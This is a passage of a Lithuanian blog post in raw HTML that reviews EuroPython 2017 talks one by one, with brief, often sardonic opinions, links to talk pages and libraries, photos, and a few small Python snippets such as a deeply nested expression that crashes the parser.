Kažko svarbaus ir ypač įžvalgaus nepapasakojo. Bet rodė gražius paveiksliukus ir gražias vizualizacijas, tai man patiko, nes man patinka gražūs paveiksliukai.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-UOeZBg9pt2s/WX-LdpTxvSI/AAAAAAAABhk/oK-UWteT03kHQXni0nZaNW7VQt3i8fQVQCLcBGAs/s1600/ep2017-0011.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1125" height="320" src="https://2.bp.blogspot.com/-UOeZBg9pt2s/WX-LdpTxvSI/AAAAAAAABhk/oK-UWteT03kHQXni0nZaNW7VQt3i8fQVQCLcBGAs/s320/ep2017-0011.jpeg" width="224" /></a></div>
<br />
<h4>
Write more decorators (and fewer classes)</h4>
<a href="https://ep2017.europython.eu/conference/talks/write-more-decorators-and-fewer-classes">https://ep2017.europython.eu/conference/talks/write-more-decorators-and-fewer-classes</a><br />
<br />
Bandė išplaukti ant šito pranešimo ("Stop Writing Classes") šlovės:<br />
<a href="https://www.youtube.com/watch?v=o9pEzgHorH0">https://www.youtube.com/watch?v=o9pEzgHorH0</a><br />
<br />
Bet labai dar toli iki ano gerumo.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-H6UjI-KFjvQ/WX-LdztpgzI/AAAAAAAABho/86-mnPUunqEjSyYjJTeQ8GiC5YiEmlBmgCLcBGAs/s1600/ep2017-0012.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1496" data-original-width="1600" height="299" src="https://3.bp.blogspot.com/-H6UjI-KFjvQ/WX-LdztpgzI/AAAAAAAABho/86-mnPUunqEjSyYjJTeQ8GiC5YiEmlBmgCLcBGAs/s320/ep2017-0012.jpeg" width="320" /></a></div>
<br />
<h4>
Abstract Base Classes: a smart use of metaclasses</h4>
<a href="https://ep2017.europython.eu/conference/talks/abstract-base-classes-a-smart-use-of-metaclasses">https://ep2017.europython.eu/conference/talks/abstract-base-classes-a-smart-use-of-metaclasses</a><br />
<br />
Kažkokios keistenybės. Vienintelė idėja, kurią pasigavau, tai kad gali bet kokią klasę priregistruoti prie bet kurios <i>collections</i> abstrakcijos.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">>>> import collections</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">>>> class Foo: pass</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">...</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">>>> collections.Awaitable.register(Foo)</span><br />
<class main__.foo=""><span style="font-family: "courier new" , "courier" , monospace;"><br />
>>> isinstance(Foo(), collections.Awaitable)<br />
True</span><br />
</class><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-qiSjK6lrRa4/WX-NlVTY5XI/AAAAAAAABjI/boXbD7xYTyc1n53sbCQgyiqYiqK5DKgggCLcBGAs/s1600/ep2017-0013.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="790" height="320" src="https://4.bp.blogspot.com/-qiSjK6lrRa4/WX-NlVTY5XI/AAAAAAAABjI/boXbD7xYTyc1n53sbCQgyiqYiqK5DKgggCLcBGAs/s320/ep2017-0013.jpeg" width="158" /></a></div>
<br />
<h4>
Why you don't need design patterns in Python?</h4>
<a href="https://ep2017.europython.eu/conference/talks/why-you-dont-need-design-patterns-in-python">https://ep2017.europython.eu/conference/talks/why-you-dont-need-design-patterns-in-python</a><br />
<br />
Jaunimas burnoja and Design Pattern. Jaunimas nesupranta. Jaunimas turbūt net nedaskaitė knygos iki tokio šablono pavadinimu "<i>Interpreter</i>". Būtų išsitaškę smegenys jaunimui.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-rxF-ExD5_Qs/WX-LeWbmUwI/AAAAAAAABhs/6w0woA_0B3sGnM_0vU8sGJjaTua7QiePwCLcBGAs/s1600/ep2017-0014.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1543" height="320" src="https://2.bp.blogspot.com/-rxF-ExD5_Qs/WX-LeWbmUwI/AAAAAAAABhs/6w0woA_0B3sGnM_0vU8sGJjaTua7QiePwCLcBGAs/s320/ep2017-0014.jpeg" width="308" /></a></div>
<br />
<h4>
There should be one obvious way to bring python into production</h4>
<a href="https://ep2017.europython.eu/conference/talks/there-should-be-one-obvious-way-to-bring-python-into-production">https://ep2017.europython.eu/conference/talks/there-should-be-one-obvious-way-to-bring-python-into-production</a><br />
<br />
Šiaip sau.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-9skDfZS1VMk/WX-LezYdHpI/AAAAAAAABhw/8DP-l4tLXr0lspdDvHYBCG1UfijC2H-PACLcBGAs/s1600/ep2017-0015.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1442" data-original-width="1600" height="288" src="https://3.bp.blogspot.com/-9skDfZS1VMk/WX-LezYdHpI/AAAAAAAABhw/8DP-l4tLXr0lspdDvHYBCG1UfijC2H-PACLcBGAs/s320/ep2017-0015.jpeg" width="320" /></a></div>
<br />
<h4>
Feeding a real-time user interface</h4>
<a href="https://ep2017.europython.eu/conference/talks/feeding-a-real-time-user-interface">https://ep2017.europython.eu/conference/talks/feeding-a-real-time-user-interface</a><br />
<br />
Kaip žmonės išrado, kad nereikia klientams siuntinėti visų pokyčių kaip atskirų elementų. O galima paimti visus keitimus, juos akumuliuoti ir siųsti klientui tik tą akumuliaciją.<br />
<br />
Šiaip įdomi visai kalba. Tiesa, labai vidutiniškai įdomi.<br />
<br />
<a href="https://docs.python.org/3/library/difflib.html">https://docs.python.org/3/library/difflib.html</a><br />
<br />
Nelabai susiję (tik biški), bet siūlau pasižiūrėti šitą pranešimą:<br />
<a href="https://www.youtube.com/watch?v=V6DKjEbdYos">https://www.youtube.com/watch?v=V6DKjEbdYos</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-iZu3Mhah21M/WX-Lfb7lP_I/AAAAAAAABh0/B1Ldjjy1M1c_GE77eG2yL9ehdD3f7neOQCLcBGAs/s1600/ep2017-0016.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1328" height="320" src="https://3.bp.blogspot.com/-iZu3Mhah21M/WX-Lfb7lP_I/AAAAAAAABh0/B1Ldjjy1M1c_GE77eG2yL9ehdD3f7neOQCLcBGAs/s320/ep2017-0016.jpeg" width="265" /></a></div>
<br />
<h4>
Making Games with Python: Mission Impossible?</h4>
<a href="https://ep2017.europython.eu/conference/talks/making-games-with-python-mission-impossible">https://ep2017.europython.eu/conference/talks/making-games-with-python-mission-impossible</a><br />
<br />
Tokia klišinė diskusija. Atsakymas: jo -- įmanoma, bet neverta.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-mFkkgzFrYiI/WX-LfzpkffI/AAAAAAAABh4/AIGZG6pdy-IzCkteEgnQT_HRHCJtgdD7ACLcBGAs/s1600/ep2017-0017.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1097" height="320" src="https://2.bp.blogspot.com/-mFkkgzFrYiI/WX-LfzpkffI/AAAAAAAABh4/AIGZG6pdy-IzCkteEgnQT_HRHCJtgdD7ACLcBGAs/s320/ep2017-0017.jpeg" width="219" /></a></div>
<br />
<h4>
Antros dienos "Lightning Talks"</h4>
Nelabai įdomu. Patiko, tik šitas PEP'as:<br />
<a href="https://www.python.org/dev/peps/pep-0394/">https://www.python.org/dev/peps/pep-0394/</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-ywERKbyYGjk/WX-Lgd7cl5I/AAAAAAAABh8/2lDbY2yACu8WIbLvcqiBzG-NqI3NBXWyACLcBGAs/s1600/ep2017-0018.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1136" height="320" src="https://1.bp.blogspot.com/-ywERKbyYGjk/WX-Lgd7cl5I/AAAAAAAABh8/2lDbY2yACu8WIbLvcqiBzG-NqI3NBXWyACLcBGAs/s320/ep2017-0018.jpeg" width="227" /></a></div>
<br />
<h4>
Call a C API from Python becomes more enjoyable with CFFI</h4>
<a href="https://ep2017.europython.eu/conference/talks/call-a-c-api-from-python-becomes-more-enjoyable-with-cffi">https://ep2017.europython.eu/conference/talks/call-a-c-api-from-python-becomes-more-enjoyable-with-cffi</a><br />
<br />
Naujas (nevisai, bet mažai dar žinomas), super paprastas ir rekomenduotinas būdas, kaip C kodą susieti su Python.<br />
<br />
<a href="https://cffi.readthedocs.io/en/latest/">https://cffi.readthedocs.io/en/latest/</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-JXOlMMtlBdI/WX-Lg04ppnI/AAAAAAAABiA/npNrAyCgxnQ5enRgsU4z-8jp1ZzyE9q0QCLcBGAs/s1600/ep2017-0019.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1204" data-original-width="1600" height="240" src="https://4.bp.blogspot.com/-JXOlMMtlBdI/WX-Lg04ppnI/AAAAAAAABiA/npNrAyCgxnQ5enRgsU4z-8jp1ZzyE9q0QCLcBGAs/s320/ep2017-0019.jpeg" width="320" /></a></div>
<br />
<h4>
How CPython parser works, and how to make it work better</h4>
<a href="https://ep2017.europython.eu/conference/talks/how-cpython-parser-works-and-how-to-fix-it">https://ep2017.europython.eu/conference/talks/how-cpython-parser-works-and-how-to-fix-it</a><br />
<br />
Pats kažkada susidūriau su panašia problema. Python negali paleisti štai tokio kodo:<br />
<pre></pre>
<span style="font-family: "courier new" , "courier" , monospace;">foo = (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + (2 + 2))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">
print(foo)</span><br />
<pre></pre>
Tiesiog miršta interpretatorius. Tai čia netiesiogiai paaiškina kodėl.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-dZVladPoehQ/WX-LhQd7AdI/AAAAAAAABiE/6OTeMDeIAfQ-KHBcne2xY0LPCl6VZwJfQCLcBGAs/s1600/ep2017-0020.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1102" height="320" src="https://2.bp.blogspot.com/-dZVladPoehQ/WX-LhQd7AdI/AAAAAAAABiE/6OTeMDeIAfQ-KHBcne2xY0LPCl6VZwJfQCLcBGAs/s320/ep2017-0020.jpeg" width="220" /></a></div>
<br />
<h4>
Writing code? Pfft... Evolve it instead!</h4>
<a href="https://ep2017.europython.eu/conference/talks/writing-code-pfft-evolve-it-instead">https://ep2017.europython.eu/conference/talks/writing-code-pfft-evolve-it-instead</a><br />
<br />
Pranešimas kaip automatiškai generuoti programinį kodą. Naudojo <i>BrainFuck</i>, nes<br />
ano labai paprasta sintaksė.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-Tphu6IEEe2E/WX-Lh42fTMI/AAAAAAAABiI/a2L-T3mV7fQzVHoD-9DGtU_mRMCSp7QaACLcBGAs/s1600/ep2017-0021.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1546" data-original-width="1600" height="309" src="https://4.bp.blogspot.com/-Tphu6IEEe2E/WX-Lh42fTMI/AAAAAAAABiI/a2L-T3mV7fQzVHoD-9DGtU_mRMCSp7QaACLcBGAs/s320/ep2017-0021.jpeg" width="320" /></a></div>
<br />
<h4>
Green threads in Python</h4>
<a href="https://ep2017.europython.eu/conference/talks/green-threads-in-python">https://ep2017.europython.eu/conference/talks/green-threads-in-python</a><br />
<br />
Paėmė <i>greenlet</i> ir paėmė Async IO ir tik su dideliu kiekiu <i>hack</i>'ų tesugebėjo pritemti Async IO greitį prie <i>greenlet</i> rezultatų. Bet išvada vis tiek buvo, kad Async IO yra labai gerai. Hmmm...<br />
<br />
<a href="https://greenlet.readthedocs.io/en/latest/">https://greenlet.readthedocs.io/en/latest/</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-h19bmutwk3s/WX-LigpuyGI/AAAAAAAABiM/Q_P1eUiQbUwnE_0eyzj4cwvVnoA13MeHQCLcBGAs/s1600/ep2017-0022.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1040" height="320" src="https://1.bp.blogspot.com/-h19bmutwk3s/WX-LigpuyGI/AAAAAAAABiM/Q_P1eUiQbUwnE_0eyzj4cwvVnoA13MeHQCLcBGAs/s320/ep2017-0022.jpeg" width="207" /></a></div>
<br />
<h4>
Rendering complex 3D-Geodata using pyRT</h4>
<a href="https://ep2017.europython.eu/conference/talks/rendering-complex-3d-geodata-using-pyrt">https://ep2017.europython.eu/conference/talks/rendering-complex-3d-geodata-using-pyrt</a><br />
<br />
Šiaip sau.<br />
<br />
<h4>
Realtime Distributed Computing At Scale (in pure Python!): Storm And Streamparse</h4>
<a href="https://ep2017.europython.eu/conference/talks/realtime-distributed-computing-at-scale-in-pure-python-storm-and-streamparse">https://ep2017.europython.eu/conference/talks/realtime-distributed-computing-at-scale-in-pure-python-storm-and-streamparse</a><br />
<br />
Labai gražus ir tvarkingas pranešimas apie tai kaip Parse.ly naudoja Apache Storm.<br />
<br />
<a href="http://storm.apache.org/">http://storm.apache.org/</a><br />
<br />
<h4>
How to make money with your Python Open-Source Project</h4>
<a href="https://ep2017.europython.eu/conference/talks/how-to-make-money-with-your-python-open-source-project">https://ep2017.europython.eu/conference/talks/how-to-make-money-with-your-python-open-source-project</a><br />
<br />
Vienas geriausių konferencijos pranešimų. Kaip uždirbti pinigų iš ne mega populiarių atviro kodo projektų. Pasirodo įmanoma.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-mfeTsKFWKz8/WX-LjScOEMI/AAAAAAAABiQ/7RKetIaai84P-FtC_rGleqPv0b73iq31QCLcBGAs/s1600/ep2017-0023.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1394" data-original-width="1600" height="278" src="https://4.bp.blogspot.com/-mfeTsKFWKz8/WX-LjScOEMI/AAAAAAAABiQ/7RKetIaai84P-FtC_rGleqPv0b73iq31QCLcBGAs/s320/ep2017-0023.jpeg" width="320" /></a></div>
<br />
<h4>
Trečiadienio "Lightning Talks"</h4>
Vienintelė įdomi biblioteka apie kurią sužinojau tai <i>objgraph</i>. Ji parodo objektų tarpusavio ryšius (<i>references</i>) grafiniu pavidalu. Originaliai skirta gaudyti atminties nutekėjimą (<i>memory leaks</i>).<br />
<br />
<a href="https://mg.pov.lt/objgraph/">https://mg.pov.lt/objgraph/</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-hYqXMiQdcSE/WX-LkIb4AQI/AAAAAAAABiU/gYhuJdbgoW8aNl02aDVeaQel3iyoZLZZgCLcBGAs/s1600/ep2017-0024.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1132" height="320" src="https://1.bp.blogspot.com/-hYqXMiQdcSE/WX-LkIb4AQI/AAAAAAAABiU/gYhuJdbgoW8aNl02aDVeaQel3iyoZLZZgCLcBGAs/s320/ep2017-0024.jpeg" width="226" /></a></div>
<br />
<h4>
The Different Roads We Take</h4>
<a href="https://ep2017.europython.eu/conference/talks/the-different-roads-we-take">https://ep2017.europython.eu/conference/talks/the-different-roads-we-take</a><br />
<br />
Turėjusi būti įkvepianti kalba. Bet aš per didelis savo bezdaluose paskendęs/užsiuostęs cinikas, kad mane įkvėptų. Plius, pačioje pranešimo pradžioje padarė standartinę klaidą, kad sumaišė kompiuterių mokslą (eee... mokslą) su programavimu (amatu). Ir atseit, jeigu tau nesisekė kompiuterių mokslas, tai vis tiek gali būti programuotojas (Eeeee... Nu nes skirtingi dalykai).<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-ixlDJZUUtL4/WX-LkpfQpTI/AAAAAAAABiY/3yZvKDR8Pho_JXEd4yVj7Jb20rajUr7iwCLcBGAs/s1600/ep2017-0025.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1572" data-original-width="1600" height="314" src="https://1.bp.blogspot.com/-ixlDJZUUtL4/WX-LkpfQpTI/AAAAAAAABiY/3yZvKDR8Pho_JXEd4yVj7Jb20rajUr7iwCLcBGAs/s320/ep2017-0025.jpeg" width="320" /></a></div>
<br />
<h4>
Type Annotations in Python 3: Whats, whys & wows!</h4>
<a href="https://ep2017.europython.eu/conference/talks/type-annotations-in-python-3-whats-whys-wows">https://ep2017.europython.eu/conference/talks/type-annotations-in-python-3-whats-whys-wows</a><br />
<br />
Vienintelis pranešimas visoje savaitės ilgio konferencijoje apie tipų anotacijas. Nepanašu, kad Python pasaulyje tipai stipriai įsigalėja. Toks labai įvadinis pranešimas.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-0oGI1bnV16I/WX-LlFT9J3I/AAAAAAAABic/a5l4F-kXbm8nlUKFdnF26wAhnfrx8RHCwCLcBGAs/s1600/ep2017-0026.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1172" height="320" src="https://1.bp.blogspot.com/-0oGI1bnV16I/WX-LlFT9J3I/AAAAAAAABic/a5l4F-kXbm8nlUKFdnF26wAhnfrx8RHCwCLcBGAs/s320/ep2017-0026.jpeg" width="234" /></a></div>
<br />
<h4>
Network visualization and automation</h4>
<a href="https://ep2017.europython.eu/conference/talks/network-visualization-and-automation-with-python">https://ep2017.europython.eu/conference/talks/network-visualization-and-automation-with-python</a><br />
<br />
Šiaip tai turėjo būti gal ir įdomus pranešimas, bet sugedo projektorius ir kaip ir nebuvo niekas užbaigta.<br />
<br />
<h4>
Cloud Native Python in Kubernetes</h4>
<a href="https://ep2017.europython.eu/conference/talks/cloud-native-python-in-kubernetes">https://ep2017.europython.eu/conference/talks/cloud-native-python-in-kubernetes</a><br />
<br />
Iš pavadinimo turėtų būti įdomus ir savalaikis pranešimas. Bet nieko neatsimenu, tai gal ir neįdomus.<br />
<br />
Bet pasižymėjau, kad pranešėjas atsiprašė už tai, kad naudoja "blogą" (anot jo) kodo rašymo stilių. O jį tokį naudoja, nes tas blogas stilius yra lengviau suprantamas ir lengviau skaitomas. O tai koks tada yra geras stilius? Sunkiau suprantamas ir nebeįskaitomas?<br />
<br />
Tai čia toks mano nugrįbavimas į lankas.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-NhGVcfBkYiM/WX-Llq0B4NI/AAAAAAAABig/nzGW5vIhAy8eR6tbPDLLooZjoewafsu3ACLcBGAs/s1600/ep2017-0027.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1121" data-original-width="1600" height="224" src="https://3.bp.blogspot.com/-NhGVcfBkYiM/WX-Llq0B4NI/AAAAAAAABig/nzGW5vIhAy8eR6tbPDLLooZjoewafsu3ACLcBGAs/s320/ep2017-0027.jpeg" width="320" /></a></div>
<br />
<h4>
Developing elegant workflows in Python code with Apache Airflow</h4>
<a href="https://ep2017.europython.eu/conference/talks/developing-elegant-workflows-in-python-code-with-apache-airflow">https://ep2017.europython.eu/conference/talks/developing-elegant-workflows-in-python-code-with-apache-airflow</a><br />
<br />
Įvadinis pranešimas į Apache Airflow. Čia biblioteka/sistema/karkasas prižiūrėti pagalbinėms užduotims (<i>background tasks</i>) vykdyti. Tos užduotys gali turėti sudėtingas hierarchijas ir dar daug ką skirtinga. Tai pats principas aiškus, bet iš pranešimo ne kaži ką atsimenu.<br />
<br />
<a href="http://airflow.apache.org/">http://airflow.apache.org/</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-MCpr9w-bM3s/WX-LmCdJR9I/AAAAAAAABik/jz3ei_oMJjoycclzJ5VaCxzdyptjLImBgCLcBGAs/s1600/ep2017-0028.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="654" height="320" src="https://4.bp.blogspot.com/-MCpr9w-bM3s/WX-LmCdJR9I/AAAAAAAABik/jz3ei_oMJjoycclzJ5VaCxzdyptjLImBgCLcBGAs/s320/ep2017-0028.jpeg" width="130" /></a></div>
<br />
<h4>
AI on a Pi</h4>
<a href="https://ep2017.europython.eu/conference/talks/ai-on-a-pi">https://ep2017.europython.eu/conference/talks/ai-on-a-pi</a><br />
<br />
Šiaip pavadinimas neišduoda, bet jis realiai buvo Amazon AI įrankių reklama. Pranešėjas geras ir tie įrankiai geri, tai visai patiko. Kad ir reklama.<br />
<br />
<a href="https://aws.amazon.com/polly/">https://aws.amazon.com/polly/</a><br />
<a href="https://aws.amazon.com/rekognition/">https://aws.amazon.com/rekognition/</a><br />
<a href="http://mxnet.io/">http://mxnet.io/</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-2i1BKLzcqDQ/WX-LmnCyjqI/AAAAAAAABio/V0I0vFF6HVQsJ2RExKcNZEUVxsLEr9vNwCLcBGAs/s1600/ep2017-0029.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1247" height="320" src="https://3.bp.blogspot.com/-2i1BKLzcqDQ/WX-LmnCyjqI/AAAAAAAABio/V0I0vFF6HVQsJ2RExKcNZEUVxsLEr9vNwCLcBGAs/s320/ep2017-0029.jpeg" width="249" /></a></div>
<br />
<h4>
Practical Debugging - Tips, Tricks and Ways to think</h4>
<a href="https://ep2017.europython.eu/conference/talks/practical-debugging-tips-tricks-and-ways-to-think">https://ep2017.europython.eu/conference/talks/practical-debugging-tips-tricks-and-ways-to-think</a><br />
<br />
Pranešimas pradedantiesiems. Bet buvo įdomių dalykų. Pavyzdžiui nežinojau, kad yra toks reikalas:<br />
<pre></pre>
<span style="font-family: "courier new" , "courier" , monospace;">
from ipdb import launch_ipdb_on_exception</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">
with launch_ipdb_on_exception():</span><br />
<pre></pre>
Ir geriausias patarimas. Jeigu turi problemą su kodu, tai eik ir kam nors apie tai papasakok. Bepasakojant suprasi, kame bėda.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-l2lLWTEEpj0/WX-LnEFbXfI/AAAAAAAABis/UBGOT9fkxtIvYIZcADERArfJw9XVs7zvQCLcBGAs/s1600/ep2017-0030.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1598" height="320" src="https://2.bp.blogspot.com/-l2lLWTEEpj0/WX-LnEFbXfI/AAAAAAAABis/UBGOT9fkxtIvYIZcADERArfJw9XVs7zvQCLcBGAs/s320/ep2017-0030.jpeg" width="319" /></a></div>
<br />
<h4>
Best Practices for Code Reviews</h4>
<a href="https://ep2017.europython.eu/conference/talks/best-practices-for-code-reviews">https://ep2017.europython.eu/conference/talks/best-practices-for-code-reviews</a><br />
<br />
Kažkaip nelabai atsimenu gerų patarimų. Standartinis: kritikuok kodą, o ne programuotoją.<br />
<br />
<h4>
Introduction to TensorFlow</h4>
<a href="https://ep2017.europython.eu/conference/talks/introduction-to-tensorflow">https://ep2017.europython.eu/conference/talks/introduction-to-tensorflow</a><br />
<br />
Kažkaip neįstrigo. Gal dėl to, kad neįspūdingas pranešimas. Gal dėl to, kad jau galvelė nebeveikė.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-HdM-_UrPfZY/WX-Ln4TbDdI/AAAAAAAABiw/oaRx2TQz5KQ5FJ3DRQzd9jifvNRNp5MLQCLcBGAs/s1600/ep2017-0031.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1298" height="320" src="https://1.bp.blogspot.com/-HdM-_UrPfZY/WX-Ln4TbDdI/AAAAAAAABiw/oaRx2TQz5KQ5FJ3DRQzd9jifvNRNp5MLQCLcBGAs/s320/ep2017-0031.jpeg" width="259" /></a></div>
<br />
<h4>
Large-scale data extraction, structuring and matching using Python and Spark</h4>
<a href="https://ep2017.europython.eu/conference/talks/large-scale-data-extraction-structuring-and-matching-using-python-and-spark">https://ep2017.europython.eu/conference/talks/large-scale-data-extraction-structuring-and-matching-using-python-and-spark</a><br />
<br />
Kaip naudojo Apache Spark ir kaip dėl to jiems gerai sekėsi. Man tai neįdomu buvo.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-UWvdO2FXm1Q/WX-LoT2ZENI/AAAAAAAABi0/hTtq2M4nd2YKnPrRR1bKD0-XN5x1CJToQCLcBGAs/s1600/ep2017-0032.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1269" height="320" src="https://2.bp.blogspot.com/-UWvdO2FXm1Q/WX-LoT2ZENI/AAAAAAAABi0/hTtq2M4nd2YKnPrRR1bKD0-XN5x1CJToQCLcBGAs/s320/ep2017-0032.jpeg" width="253" /></a></div>
<br />
<h4>
Overcoming Cognitive Bias</h4>
<a href="https://ep2017.europython.eu/conference/talks/overcoming-cognitive-bias">https://ep2017.europython.eu/conference/talks/overcoming-cognitive-bias</a><br />
<br />
Paskutinį laiką išdeginau vienam vieninteliam per visą konferenciją "<i>diversity</i>" pranešimui. Ir tas nei kažko naujo papasakojo, nei juokingas, nei pernelyg absurdiškas.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-IRvV5ocdJrg/WX-LpNj-nwI/AAAAAAAABi4/VsxKpudqazoROYp158SRArEbD1tIIy0dgCLcBGAs/s1600/ep2017-0033.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1472" data-original-width="1600" height="294" src="https://4.bp.blogspot.com/-IRvV5ocdJrg/WX-LpNj-nwI/AAAAAAAABi4/VsxKpudqazoROYp158SRArEbD1tIIy0dgCLcBGAs/s320/ep2017-0033.jpeg" width="320" /></a></div>
<br />
<h4>
Penktos dienos "Lightning Talks"</h4>
Šiaip nieko įdomaus nebuvo. Bet verta pasižiūrėti, kurį nors iš pirmų trijų dienų blitz pranešimų sesiją ir pasižiūrėti šitą. Anas vedė profesionalus vedėjas. Šitą geros valios kupini mėgėjai. O vargeli, kaip visą salę buvo apėmęs svetimos gėdos jausmas.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-h8IJfvrH9TE/WX-LpremW8I/AAAAAAAABi8/IrsaCHMy5-oFiP3pkg_gPOGzsiy7p4vjgCLcBGAs/s1600/ep2017-0034.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1555" data-original-width="1600" height="311" src="https://4.bp.blogspot.com/-h8IJfvrH9TE/WX-LpremW8I/AAAAAAAABi8/IrsaCHMy5-oFiP3pkg_gPOGzsiy7p4vjgCLcBGAs/s320/ep2017-0034.jpeg" width="320" /></a></div>
